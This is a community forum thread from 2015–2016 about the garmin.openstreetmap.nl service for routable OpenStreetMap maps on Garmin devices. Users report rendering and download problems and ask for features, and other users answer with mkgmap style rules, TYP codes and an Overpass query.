Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · rimugu (Gast) · 14.12.2015 18:03 · [flux]
Thanks, I'll keep it in day mode.
Another question. There is a section on my map with a dune, but in my Garmin etrex Legend HCx, the dunes cover all in it, including towns, train tracks and roads.
I get the dunes in all details levels on the etrex. Is there a way to hide the dunes to make everything else visible? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.12.2015 20:37 · [flux]
@Rimugu: can you give the exact location where you see this?
- Re: Worldwide routable Garmin maps: URL REMOVED · rimugu (Gast) · 15.12.2015 17:26 · [flux]
@ligfietser
I am sorry, once again, garmin.openstreetmap.nl are perfect and its me who is messing things up. I am sorry, but the dune thing is not an issue. Sorry and thanks - Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 21.01.2016 17:46 · [flux]
Many thanks frequent updates that helped me update not only gps but also printed version (in few selected areas in vavuniya, Sri Lanka).
I installed both oms generic routable new (LKA_11-01-2016) and also generic routable (LKA_11-01-2016). Upon zooming to vavuniya town area, there exists a water tank http://www.openstreetmap.org/node/3629402393 as well as a telecom tower http://www.openstreetmap.org/node/3753555604 both displayed correctly in the open streetmap. OSM generic ones shows the telecom tower but not the water tank (or water tower however you call it) and OSM generic new shows water tank but not the telecom tower. Is there any possibility to include both information in osm generic ones and/or osm genric new. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.01.2016 12:11 · [flux]
Telecom tower (man_made=mast) is not rendered on the generic new because in the Netherlands they are all over the place, thousands of pois are cluttering the map. About OSM generic, missing features you can request on the mkgmap-dev mailing list: http://www.mkgmap.org.uk/dev/maillist
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 05.02.2016 16:57 · [flux]
Thanks. I posted as per your suggestion. Type is file bit new for me. It will take some time for me to understand discussion over there. Is there any way I can include bus halts and pedestrian crossings with the gamin maps?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.02.2016 17:26 · [flux]
highway=bus_stop
If you look in the points file you see that bus_stops are rendered:highway=bus_stop [0x2f17 resolution 24]
Go to the corresponding typ file, https://github.com/ligfietser/mkgmap-st … w/2000.txt
and lookup poi type 0x2f17[_point]
Type=0x02f
SubType=0x17
String1=0x04,bus stop
String2=0x03,bushalteWith the typ editor you can make another icon
highway=crossing is not rendered so you can't add it, you have to compile your own mkgmap style.
- Re: Worldwide routable Garmin maps: URL REMOVED · HarryPoter (Gast) · 17.02.2016 16:44 · [flux]
I mapped for kuwait, but when i am downloading the map from http://garmin.openstreetmap.nl/ i am getting older map. When new version will be uploaded on http://garmin.openstreetmap.nl/
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 18.02.2016 12:14 · [flux]
The update process is broken at the moment (growing pains). I have no eta on a new map update.
- Re: Worldwide routable Garmin maps: URL REMOVED · hbartolin (Gast) · 24.02.2016 11:47 · [flux]
Lambertus wrote:
The update process is broken at the moment (growing pains). I have no eta on a new map update.
Do you need some help or place when would you say what wrong?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.03.2016 21:07 · [flux]
An update is running now and seems to do well, so I expect new maps to appear at the end of this weekend.
- Re: Worldwide routable Garmin maps: URL REMOVED · joost schouppe (Gast) · 09.03.2016 08:39 · [flux]
Do you have map styles focusing on the quality of roads? There are hardly any OSM based maps that use this, especially at lower zoom levels. I just wrote a diary post about the subject, and someone suggested GPS maps might be a solution. I don't have a Garmin myself, so really I have no idea what's available.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.03.2016 10:29 · [flux]
There are currently no maps with styles focussing on OSM road quality on my site. Perhaps one of the other offroad oriented map providers cover that better, e.g. http://openmtbmap.org/ ?
I'm offering to consider adding a specific maptype if someone is willing to maintain the style sheet (I don't have the expertise nor time), possibly in cooperation with this project.
Note that work is (again) underway to add an elevation contour map as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.03.2016 13:52 · [flux]
The Garmin generic maps only render paved vs unpaved:
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Flag unpaved roads.
highway=*
& (surface=cobblestone | surface=compacted | surface=dirt |
surface=earth | surface=grass | surface=grass_paver |
surface=gravel | surface=grit | surface=ground | surface=mud |
surface=pebblestone | surface=sand | surface=unpaved |
mtb:scale=* |
tracktype ~ 'grade[2-6]' |
smoothness ~ '.*(bad|horrible|impassable)' |
sac_scale ~ '.*(mountain|alpine)_hiking' |
sport=via_ferrata)
{ add mkgmap:unpaved=1 }
(highway=bridleway | highway=path | highway=track | highway=unsurfaced)
& surface!=* & tracktype!=* & smoothness!=* & sac_scale!=*
{ add mkgmap:unpaved=1 }Openmtb displays the grade of tracks.
Also have a look at the Freizeitkarte: http://freizeitkarte-osm.de/garmin/de/index.html -
Flag unpaved roads.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.03.2016 13:54 · [flux]
Lambertus wrote:
Note that work is (again) underway to add an elevation contour map as well.
Cool, glad to hear this. Lot of people are asking for this. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · andershl (Gast) · 10.03.2016 19:06 · [flux]
rimugu wrote:
The map I got from garmin.openstreetmap.nl (new style) looks very nice in day, but in night profile it still is mostly white.
Text appears with a black background (as expected), but the background in the rest of the map is still white (bad for night vision). What am I doing wrong?Shame on me: I noted the same and suggested (Well, almost volunteered) to make a night mode setup, but totally forgot....
- Re: Worldwide routable Garmin maps: URL REMOVED · moreton (Gast) · 14.03.2016 01:38 · [flux]
I may be missing something, but I think the current maps do not distinguish between intermittent and perennial waterways? This is a really useful thing to distinguish. I gather it can be done with a suitable rule in the style file used for your conversions. Something like:
waterway=river [0x1f resolution 18 continue]
waterway=stream [0x18 resolution 19 continue]
waterway=river & intermittent=yes [0x26 resolution 20]
waterway=stream & intermittent=yes [0x10A02 resolution 20]This is based on advice received at:
http://forum.openstreetmap.org/viewtopic.php?id=53986Suitable typ file settings for the corresponding object types might be:
river [0x1f] two rows thick blue line
stream [0x18 one row thin blue line
intermittent river [0x26] two rows thick dashed blue line
intermittent stream [0x10A02] one row thin dashed blue lineOf course (if you use these hex codes to distinguish waterways tagged as intermittent in OSM) the resulting map users can choose to modify their own typ files, or use the garmin default which will render a similar appearance of waterways (as these are default hex codes for garmin).
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 14.03.2016 05:04 · [flux]
Moreton, are you able to post examples of how your Mkgmaps look with your suggested typ file amendments in a typical area with those types of waterway?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.03.2016 11:09 · [flux]
And please post a direct link to the osm.org area where we can find such features
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- Re: Worldwide routable Garmin maps: URL REMOVED · moreton (Gast) · 15.03.2016 01:30 · [flux]
An example on OSM is:
https://www.openstreetmap.org/#map=13/-28.4909/153.4227
Mapnik renders intermittent, which is the usual convention, as shown by popej. But for some reason the intermittent tag seems not to be used by many converters (popej seems to be the exception!)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.03.2016 10:56 · [flux]
Thanks moreton and popej,
I have dropped your request on the mkgmap-dev mailing list and I will implement the intermittent waterways into the generic new style. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 15.03.2016 12:29 · [flux]
Here is a screenshot of the default style (improved, no typ file). In the red inset picture a screenshot of my Oregon. The intermittent stream is not dashed but the label is showing the intermittent tag.
- Re: Worldwide routable Garmin maps: URL REMOVED · moreton (Gast) · 15.03.2016 23:41 · [flux]
Many thanks ligfiester,
I am guessing that means the Oregon handles default rendering of [0x10A02] differently from BaseCamp.
Now that the intermittent tag is picked up and given the relevant object codes, users who are interested in the distinction should be able to use their own custom typ settings to render permanent and intermittent waterways differently on their GPSr devices, when this does not happen by default. Thanks again for enabling this.
- Re: Worldwide routable Garmin maps: URL REMOVED · moreton (Gast) · 17.03.2016 23:05 · [flux]
Or, I wonder if it could be a problem with the suggested style rules placing dashed lines over solid lines (where they may not be visible). If so, popej has provided the simplest solution at http://forum.openstreetmap.org/viewtopic.php?id=53986 (put the intermittent rule before the corresponding permanent waterway rule in the style).
ligfiester, you probably already tried something like this. But it may help other novices like me working on their own small map areas using mkgmap. It does work with distinct rendering of intermittent vs permanent waterways in an overlay map on a nuvi, the only GPSr I have tried so far.
- Re: Worldwide routable Garmin maps: URL REMOVED · moreton (Gast) · 30.03.2016 05:49 · [flux]
Can anything be done to improve the default rendering of cliff lines? A good example is:
https://www.openstreetmap.org/#map=16/-28.5738/153.3888
OSM standard (Mapnik?) rendering handles this well, with unlabelled markings like those on a topo map. But the garmin-converted map from http://garmin.openstreetmap.nl/ gives poor/confusing appearance in BaseCamp at least, with variably-spaced strings of blue squares which have a "Land Feature" label on hover. As cliffs are marked in part for safety, it would be good to use the common topographic map convention if possible.
Edit: OOPS! I see this is done well in the new style already available for download. Others may also be interested to compare this 'new style' for any feature that needs more typ info for rendering.
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 14.04.2016 06:37 · [flux]
ligfietser wrote:
highway=bus_stop
If you look in the points file you see that bus_stops are rendered:highway=bus_stop [0x2f17 resolution 24]
Go to the corresponding typ file, https://github.com/ligfietser/mkgmap-st … w/2000.txt
and lookup poi type 0x2f17[_point]
Type=0x02f
SubType=0x17
String1=0x04,bus stop
String2=0x03,bushalteWith the typ editor you can make another icon
highway=crossing is not rendered so you can't add it, you have to compile your own mkgmap style.
I am sorry for the belated reply. Though I found the first one (0x2f17) but I couldn't find the second one (0x2f17) in 2000.txt may be it's updated. Will you please guide me. I am really sorry to bother once again.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.04.2016 09:55 · [flux]
Umapathy wrote:
I am sorry for the belated reply. Though I found the first one (0x2f17) but I couldn't find the second one (0x2f17) in 2000.txt may be it's updated. Will you please guide me. I am really sorry to bother once again.
I'm sorry but I dont understand what you mean, can you be more clear please?
- Re: Worldwide routable Garmin maps: URL REMOVED · Umapathy (Gast) · 15.04.2016 12:16 · [flux]
I am sorry for my poor English. I wanted view Bus halts my garmin etrex10 particularly for Sri Lanka. (Something similar to maps.me application in android or iOS where it shows bus halts). Some of the bus halts been mapped especially in the Northern Sri Lanka but most of them are not yet mapped. I used to travel a lot in the bus as well as in the morbike also in bycycle. Adding bus halts will help other commuters.
Previoulsy you have provided two links with the style sheet and a type file to achieve the results in garmin device. But unfortunately I couldn't succeed in my attmpt. Highly appreciate if you can help me. Sorry for bothering once again with the same problem.
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- Re: Worldwide routable Garmin maps: URL REMOVED · steerage250 (Gast) · 05.05.2016 07:18 · [flux]
I want to download the "Routable Bicycle (Openfietsmap Lite)" maps for the south-west corner of Western Australia. I select just 4 tiles (AU-Perth, ID-Denpasar,AU-Albany & AU-Armadale) , but the lower left tile (AU-Perth) does not appear in the resulting map when viewed in MapSource. I repeated the attempt but added another tile (to force it to create a new download), and the same problem exists. (Sadly, AU-Perth covers the area where I live!)
JaVaWa GMTK reports that the map segment (63440994) is there - it just doesn't render in MapSource.
Ian
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.05.2016 16:14 · [flux]
Have you tried ctrl-G twice to clear your cache?
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 11.05.2016 12:59 · [flux]
Just downloaded '_macosx.zip = Installer for Garmin BaseCamp/RoadTrip (Mac OSX)' from <http://garmin.openstreetmap.nl> and found when uncompressed the zip file, the resulting .gmap file was a folder in Mac OS X, so can't be installed in Basecamp.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.05.2016 12:10 · [flux]
You have to use mapinstall for the Mac to install the gmap folder. If that does not work you can install it with GMTK from Javawa, http://www.javawa.nl/gmtk_en.html
- Re: Worldwide routable Garmin maps: URL REMOVED · misenor (Gast) · 04.06.2016 07:45 · [flux]
Hi Folks
I could really use a hand. I have been using these maps for quite some time, but recently went to a new PC and had to reload all my software. I am using Mapsource v6.16.3 and have just downloaded a requested map file. It has loaded nicely and I have changed the name using JaVaWa ... the files also open in Mapsource no problem.
However ... I am getting NO map details. At all.In fact ... in the bottom right hand screen ... about the map scale, it shows "Basic Map only"
Any help would be appreciated ... - Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 04.06.2016 16:03 · [flux]
Maybe press Ctrl-G?
- Re: Worldwide routable Garmin maps: URL REMOVED · misenor (Gast) · 04.06.2016 19:05 · [flux]
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blush* THANK YOU!
I have a funny feeling I just did something simple that I was missing. I should came here days ago.
THANK YOU!
Now I have to ask ... what is that command? -
blush* THANK YOU!
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 04.06.2016 20:04 · [flux]
See menu View -> Basic map only = Ctrl-G
This is a handy command for clearing map cache, just press Ctrl-G twice. - Re: Worldwide routable Garmin maps: URL REMOVED · misenor (Gast) · 05.06.2016 08:04 · [flux]
I feel rather stupid .. I guess maybe I should dig deeper into MS ... and learn to ask for help earlier.
Again thanks ... our trip to Amsterdam and Scotland will be MUCH better. - Re: Worldwide routable Garmin maps: URL REMOVED · cactolith (Gast) · 07.06.2016 13:59 · [flux]
I have done several days worth of work uploading GPX tracks and digitizing dirt roads used by our cycling group in Atyrau Kazakhstan. I had used the KZ maps on my gps previously and it worked great. Now I need to know when the tracks I have created would show up in a build from that region?
Cheers,
cactolith
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.06.2016 15:02 · [flux]
Once you have drawn those ways in OSM. The uploaded tracks will never show up.
- Re: Worldwide routable Garmin maps: URL REMOVED · alester (Gast) · 07.06.2016 16:57 · [flux]
ligfietser wrote:
Once you have drawn those ways in OSM. The uploaded tracks will never show up.
Why not? They seem to be correctly tagged and show up on the standard rendering.
http://www.openstreetmap.org/changeset/39831497 - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.06.2016 17:32 · [flux]
cactolith wrote:
I have done several days worth of work uploading GPX tracks (....) Now I need to know when the tracks I have created would show up in a build from that region?
I was referring to cactoliths uploaded traces. Of course the highways that are drawn from these traces are rendered on the garmin map as soon a new build is made. The uploaded GPX tracks are not rendered; I understood that this was his question. Sorry for the confusion if the last mentioned "track" was not the same as the uploaded GPS track.
- Re: Worldwide routable Garmin maps: URL REMOVED · cactolith (Gast) · 13.06.2016 10:33 · [flux]
Sorry for any confusion. I know the terminology here can be very specific and slight variation in terms can mean wildly different things to different people.
Let me ask another way... The dirt roads I added via editing OSM (by following my uploaded GPX files) show up correctly on OSM and on Strava where I upload many of my rides. When I download a copy of the Astrakan RU tile on garmin.<osm>.nl the files do not include any of the new features I added or edited. I also cannot see them on the mobile Strava app tied to OSM. Should I be able to see them immediately after they are on OSM? Is there a lag time? Is there a regular build date when the adds and edits all get incorporated?
Thanks again for any insight on this.
Cheers,
cactolith
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 13.06.2016 14:35 · [flux]
The osm map makers and providers have different update procedures.
From my understanding of the message above, you downloaded a Garmin suitable map from http://garmin.openstreetmap.nl/ for a Russian location, Astrakan.
The date of the map data from this site, is listed at the right side just below the blue tiled map and as I write this it says "Slippy map and Garmin maps are based on OpenStreetMap data. Map version: 01-06-2016". Although I don't know how often it is updated, I would think an update is due any day now.The update schedule was not apparent to me on checking the Strava site and may depend if you are a premium subscriber or otherwise.
You may in your question, be only referring to updating the Astrakan RU tile on the Strava app?I was checking the http://extract.bbbike.org/ yesterday and noticed that it's maps are based on data from the 10 June http://download.bbbike.org/osm/planet/ so one of their garmin maps may suit you needs this time.
The OSM web site map https://www.openstreetmap.org normally updates quite soon, though you may have to refresh you browser to see the latest tiles, especially the Standard and Humanitarian layers. The Cycle layer updates about once a week I think. The routing is often on a slow update cycle for a few sites.
- Re: Worldwide routable Garmin maps: URL REMOVED · cactolith (Gast) · 13.06.2016 17:03 · [flux]
I was able to extract an area using http://extract.bbbike.org/ that now shows the unpaved roads and other features I added over the past month. The responses back were very helpful!
I will keep looking for the .nl site to update their tile as they quality there is a bit higher.
Cheers,
cactolith
- Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 04.07.2016 20:07 · [flux]
When I was travelling in Europe a few months back I noticed my Garmin device with official maps was showing speed limits on all major highways and several minor ways as well. While using OSM maps on the same device (South America) I don't get the same indication, even where I know speed limits are added. Is there a symbol that is not processed correctly, is it something forgotten/omitted in the style, or is this something mkgmap is not possible to do?
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 04.07.2016 22:21 · [flux]
Skippern wrote:
When I was travelling in Europe a few months back I noticed my Garmin device with official maps was showing speed limits on all major highways and several minor ways as well. While using OSM maps on the same device (South America) I don't get the same indication, even where I know speed limits are added. Is there a symbol that is not processed correctly, is it something forgotten/omitted in the style, or is this something mkgmap is not possible to do?
AFAIK is a limitation of the map format, because speed limit is only available in NT format, which mkgmap isn't able to handle because the format hasn't been reverse engeneereed yet.
- Re: Worldwide routable Garmin maps: URL REMOVED · Ciprol (Gast) · 05.07.2016 10:18 · [flux]
ligfietser wrote:
You have to use mapinstall for the Mac to install the gmap folder. If that does not work you can install it with GMTK from Javawa, http://www.javawa.nl/gmtk_en.html
Thanks for the suggestion. Managed to find a solution through MapInstall by manually selecting the un-zipped folder. What's different these days is that the unzipped file as downloaded from http://garmin.openstreetmap.nl is no longer in a .gmap package file that one can just double click and start the install process. I unzipped an old download and it would appear there's a change on Mac's system side as that old zip file also got turned into a folder than a .gmap package file.
There's definitely a work around at present but there's also a change to the unzip process. Just reporting in.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 05.07.2016 14:37 · [flux]
muralito wrote:
Skippern wrote:
When I was travelling in Europe a few months back I noticed my Garmin device with official maps was showing speed limits on all major highways and several minor ways as well. While using OSM maps on the same device (South America) I don't get the same indication, even where I know speed limits are added. Is there a symbol that is not processed correctly, is it something forgotten/omitted in the style, or is this something mkgmap is not possible to do?
AFAIK is a limitation of the map format, because speed limit is only available in NT format, which mkgmap isn't able to handle because the format hasn't been reverse engeneereed yet.
Thanks muralito, understand that it is mkgmap limitations for now, hope the format can be reverse engineered so this feature becomes available to us, I found it quite useful on the highways.
- Re: Worldwide routable Garmin maps: URL REMOVED · ShortStuf7 (Gast) · 14.07.2016 23:51 · [flux]
Lambertus wrote:
ulf78 wrote:
The map generation for Germany, New style failed. no zip/img files in the folder :-(
http://osm2.pleiades.uni-wuppertal.de/g … 79170e26a/Can I somehow restart the rendering process?
Wierd that the service chose to use the osm2 server as it is indicated as not available. But perhaps it's because there is a problem with the only available server sfs4. Looking into it. This is why everyone's custom map request is failing too.
Edit:
The remote filesystem that stores all the maps is not mounted after a server reboot. I'll ask the server admin to look into this. The temporary solution is to use Country maps only.I think this needs to happen again. I'm not receiving the second email. I've tried on a half dozen different email providers over the past 3 hours and I've gotten nowhere! Any help would be greatly appreciated.
- Re: Worldwide routable Garmin maps: URL REMOVED · okilimu (Gast) · 18.07.2016 14:11 · [flux]
Hello,
i didn't get the second mail, although the request url indicated, that the request has been finished.
Below the map, the message
sfs4.pleiades.uni-wuppertal.de/garmin/,␣queue␣=␣2␣requests␣(~0␣days),␣status␣=␣Disk␣full
could show the problem?
Greetings Dietmar aka okilimu
- Re: Worldwide routable Garmin maps: URL REMOVED · biggles1024 (Gast) · 18.07.2016 21:36 · [flux]
I also haven't been receiving the second email. This started for me last Friday.
- Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 25.07.2016 13:35 · [flux]
Missing feature: landuse=orchard and/or landuse=forest not showing on my Garmin Nüvi 50 unit with garmin.openstreetmap.nl installed. I noticed it on a feature that have been tagged for several years, so it has nothing to do with map version. (landuse=forest should probably be treated equal as natural=wood, landuse=orchard can be treated as landuse=farmland or landuse=meadow if lack of symbols)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.07.2016 14:35 · [flux]
Which version did you download, generic of generic new?
landuse=forest should be rendered on both versions, maybe it is covered by another feature?
landuse=orchard is indeed missing in the generic version, but should be rendered on the generic new maps. - Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 27.07.2016 23:32 · [flux]
ligfietser wrote:
Which version did you download, generic of generic new?
landuse=forest should be rendered on both versions, maybe it is covered by another feature?
landuse=orchard is indeed missing in the generic version, but should be rendered on the generic new maps.I use the generic, at the moment I noticed was version 30-06-2016, I have already downloaded the latest (21-07-2016?), but still not transferred to the unit.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.07.2016 14:10 · [flux]
Forests should be definitely visible unless
- there are mapping errors (landuse covering another landuse)
- you have mutiple maps on your device active
- several versions of the generic map on your device?Can you specify the location url from the osm.org website?
- Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 28.07.2016 16:59 · [flux]
Couldn't remember on the fly wether it was tagged as forest or orchard, seeing the map it IS orchard. Here is the link to the location
https://www.openstreetmap.org/#map=18/- … /-40.46073
I have OSM Generic latest version for South America (manual build) and Garmin official Western Europe on the device. No overlap of maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.07.2016 17:51 · [flux]
That makes sense then, orchards were never rendered on the mkgmap default style.
I reported it and it will be on the map sooner or later, thanks for noticing! - Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 29.07.2016 12:13 · [flux]
No problem, wonder why I havn't noticed it earlier, it is close to where I live and I pass there regularly.
- Re: Worldwide routable Garmin maps: URL REMOVED · Madmaus (Gast) · 15.08.2016 09:58 · [flux]
is it possible to prefer an footpath for walking?
Now when there are two ways (cycle an footpath) the routing is on the cycleway with an walking profile.
is does route over footpath when there isnt an cycleway though. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.08.2016 00:09 · [flux]
No, not with the generic osm maps nor my bicycle maps. Mkgmap (the software that we use to compile those maps) does not have the knowledge how Garmins activity profiles can control the routing. Garmin does not provide any information about the source code, so it has to be done by reverse engineering. Until know only the old Garmin format is partly revealed. It is only possible if you built a map for one specific activity like walking or cycling, not both. I dont know any map that is built for walking only, sorry.
- Re: Worldwide routable Garmin maps: URL REMOVED · Madmaus (Gast) · 16.08.2016 07:01 · [flux]
ligfietser wrote:
No, not with the generic osm maps nor my bicycle maps. Mkgmap (the software that we use to compile those maps) does not have the knowledge how Garmins activity profiles can control the routing. Garmin does not provide any information about the source code, so it has to be done by reverse engineering. Until know only the old Garmin format is partly revealed. It is only possible if you built a map for one specific activity like walking or cycling, not both. I dont know any map that is built for walking only, sorry.
Thanks for you're response.
this clears a lot.
Te routing is nog bad but the routing of the garmin maps is definitly better when profile is walking of hiking.
workaround is plan the route with Garmin map en then switch to a better map. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.08.2016 08:58 · [flux]
I dont know the draw priority of those garmin maps but one suggestion is to make one of the osm maps you like most, unroutable by sending the tiles to your gps with mapsource (without routing info) and select them both. This way you look at the osm map and use the underlying garmin map for routing. Maybe you will have to change the draw priority of one of the maps to make sure the OSM is shown on top. This could be done with gmaptool.
- Re: Worldwide routable Garmin maps: URL REMOVED · Madmaus (Gast) · 16.08.2016 11:29 · [flux]
ligfietser wrote:
I dont know the draw priority of those garmin maps but one suggestion is to make one of the osm maps you like most, unroutable by sending the tiles to your gps with mapsource (without routing info) and select them both. This way you look at the osm map and use the underlying garmin map for routing. Maybe you will have to change the draw priority of one of the maps to make sure the OSM is shown on top. This could be done with gmaptool.
oh wow this is an great tip.
never ever thought of that.i will try this when i am at home!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.08.2016 18:07 · [flux]
Here is an example, just untick the box "Include route Calculation Data"
- Re: Worldwide routable Garmin maps: URL REMOVED · Madmaus (Gast) · 16.08.2016 19:13 · [flux]
thanks!
only one problem, when i rename the img file my garmin says cannot unlock maps. and i cannot view the maps.
with basecamp or direct copy this isnt an prpblem but then i cannot unroute them.
When i dont rename the map it works (but then i cannot have several unroutable maps)Edit:
oké i found the reason of the error.
I had two same maps on my sdcard.But it doesnt has the outcome as I hoped, only the routable map is showed by the Garmin and not the other map.
- Re: Worldwide routable Garmin maps: URL REMOVED · Arbu (Gast) · 18.10.2016 14:32 · [flux]
This isn't working any more for me. When I try to build a map I get a new page with:
<script removed by the moderator>
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.10.2016 16:21 · [flux]
There are problems with the server, please try it later.
- Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 20.10.2016 19:34 · [flux]
The map server seemed to take my request OK. Sent me the email that my request was ready but won't allow me access...I get the following 403 error:
Forbidden
You don't have permission to access /garmin/generic_new/08-10-2016/ba9d18ed25de08b6500df9eb861bd10a on this server.
Apache/2.4.18 (Ubuntu) Server at sfs4.pleiades.uni-wuppertal.de Port 80 - Re: Worldwide routable Garmin maps: URL REMOVED · Canbaroo (Gast) · 21.10.2016 07:02 · [flux]
Same for me .... Using a Mac OS 10.11.6 Tried Safari and Firefox
Forbidden
You don't have permission to access /garmin/generic/08-10-2016/776d8f9722a11b14b06eec848d49cc18 on this server.
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 21.10.2016 08:54 · [flux]
I don't know where the problem lies , but I expect your problems are not going to be resolved until Lambertus finds more time to manage the site or other Admins resolve the recent server problems.
In the meantime it might be best to extract your Garmin suitable maps from another provider...
http://wiki.openstreetmap.org/wiki/OSM_ … n/Download
I have found that the BBBike.org ones suit me as I can define my own small region for download that I use mainly for cycling, hiking.
There are many other choices which should suit you until this site is fully functional again. - Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 21.10.2016 18:30 · [flux]
Feedback (Don't need pointers to other OSM sites.):
Server now accepts request for map build and seems to manage the queue. But, once the maps are built (apparently, since the queue is empty) , there is no email sent for the download location (assuming that the map was actually built since the request is no longer in the queue).
- Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 21.10.2016 18:49 · [flux]
We are currently working on the server problems.
- Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 22.10.2016 08:31 · [flux]
The service should be back to normal, thanks to Lambertus who recovered the scripts after a bad hard drive failure.
- Re: Worldwide routable Garmin maps: URL REMOVED · Alexey Berezkin (Gast) · 22.10.2016 10:17 · [flux]
Hi! Thanks for great work. Is there a way to add house numbers labels to a map?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.10.2016 10:32 · [flux]
It is possible but labels are not rendered because it will clutter the map, sorry.
If you click with the mouse on the highway you see the numbers in Basecamp. - Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 24.10.2016 08:01 · [flux]
Alexey Berezkin wrote:
Is there a way to add house numbers labels to a map?
Option 1...
If you are familiar with using Mkgmap http://www.mkgmap.org.uk/ , http://osm.thkukuk.de/ has a Mkgmap style that can put a transparent overlay on your map showing the address numbers. The tk-osm file at the bottom of the large table is to be downloaded and used with the Mkgmap program.
You first use JOSM to download and save a small .osm file of the area. If you download a large area you will need to use Splitter too.
The Mkgmap command will look something like this if you use a Mac...
/Library/Internet\ Plug-Ins/JavaAppletPlugin.plugin/Contents/Home/bin/java -jar /Applications/mkgmap-r3695/mkgmap.jar --gmapsupp --style-file=/Applications/mkgmap-tk-osm/tk-osm/address --style=style --list-styles --transparent --description="tkaddress" --family-id=7129 --product-id=1 --draw-priority=15 --mapname=71212001 --family-name="OpenStreetmap Mkgmap" --series-name="Josm " --area-name="default " --route --net --drive-on=left -—link-pois-to-ways --index --housenumbers --add-pois-to-areas /Applications/mkgmap-tk-osm/tk-osm/address/address.txt --output-dir=/Users/xxx/Documents/JOSM/Save_OSM_file/ /Users/xxx/Documents/JOSM/Save_OSM_file/Josm_save.osm
(it is easier to manage if you put all the parameters in a file - Mkgmap documentation for that)
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 24.10.2016 08:15 · [flux]
Alexey Berezkin wrote:
Is there a way to add house numbers labels to a map?
Option 2...
You can also use Turbo Overpass to extract the house numbers..
<osm-script>
<union>
<query type="node">
<has-kv k="addr:housenumber" />
<bbox-query {{bbox}}/>
</query>
<query type="way">
<has-kv k="addr:housenumber" />
<bbox-query {{bbox}}/>
</query>
</union>
<union>
<item/>
<recurse type="down"/>
</union>
<print mode="meta"/>
</osm-script>Then export to gpx and load that to your gpx folder on the Garmin.
Unfortunately, on zooming in far enough to see all the waypoints, it displays the street name too.
I didn't do this but you could do a search and replace on the gpx file to get rid of text from and including addr:street to </desc> and replace with </desc> and then only the address numbers would be visible.It may be possible to adjust the Overpass Turbo query to only extract the addr:housenumber part without the street name but I don't know how to do it.
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 24.10.2016 08:29 · [flux]
Alexey Berezkin wrote:
Is there a way to add house numbers labels to a map?
Option 3 ...
Easier that the above method is to use a smart phone. I use Maps.me and it displays the house numbers on my iphone and I expect that OsmAnd for the Android does too and you can edit the map using those apps.
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 24.10.2016 12:16 · [flux]
nevw wrote:
Easier that the above method is to use a smart phone. I use Maps.me and it displays the house numbers on my iphone and I expect that OsmAnd for the Android does too and you can edit the map using those apps.
Yes. But Maps.me also shows the house numbers during navigation, which is useless and clutters the map, making the street names unreadable or very hard to read. I expect that OsmAnd doesn't, at least without a user setting to disable the "feature".
- Re: Worldwide routable Garmin maps: URL REMOVED · KrisBeecroft (Gast) · 30.10.2016 15:12 · [flux]
Can you please look at the US-Germantown map segment? It's not delivering zipped files when downloaded; just the individual tile files. I can download other maps just fine. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 30.10.2016 15:35 · [flux]
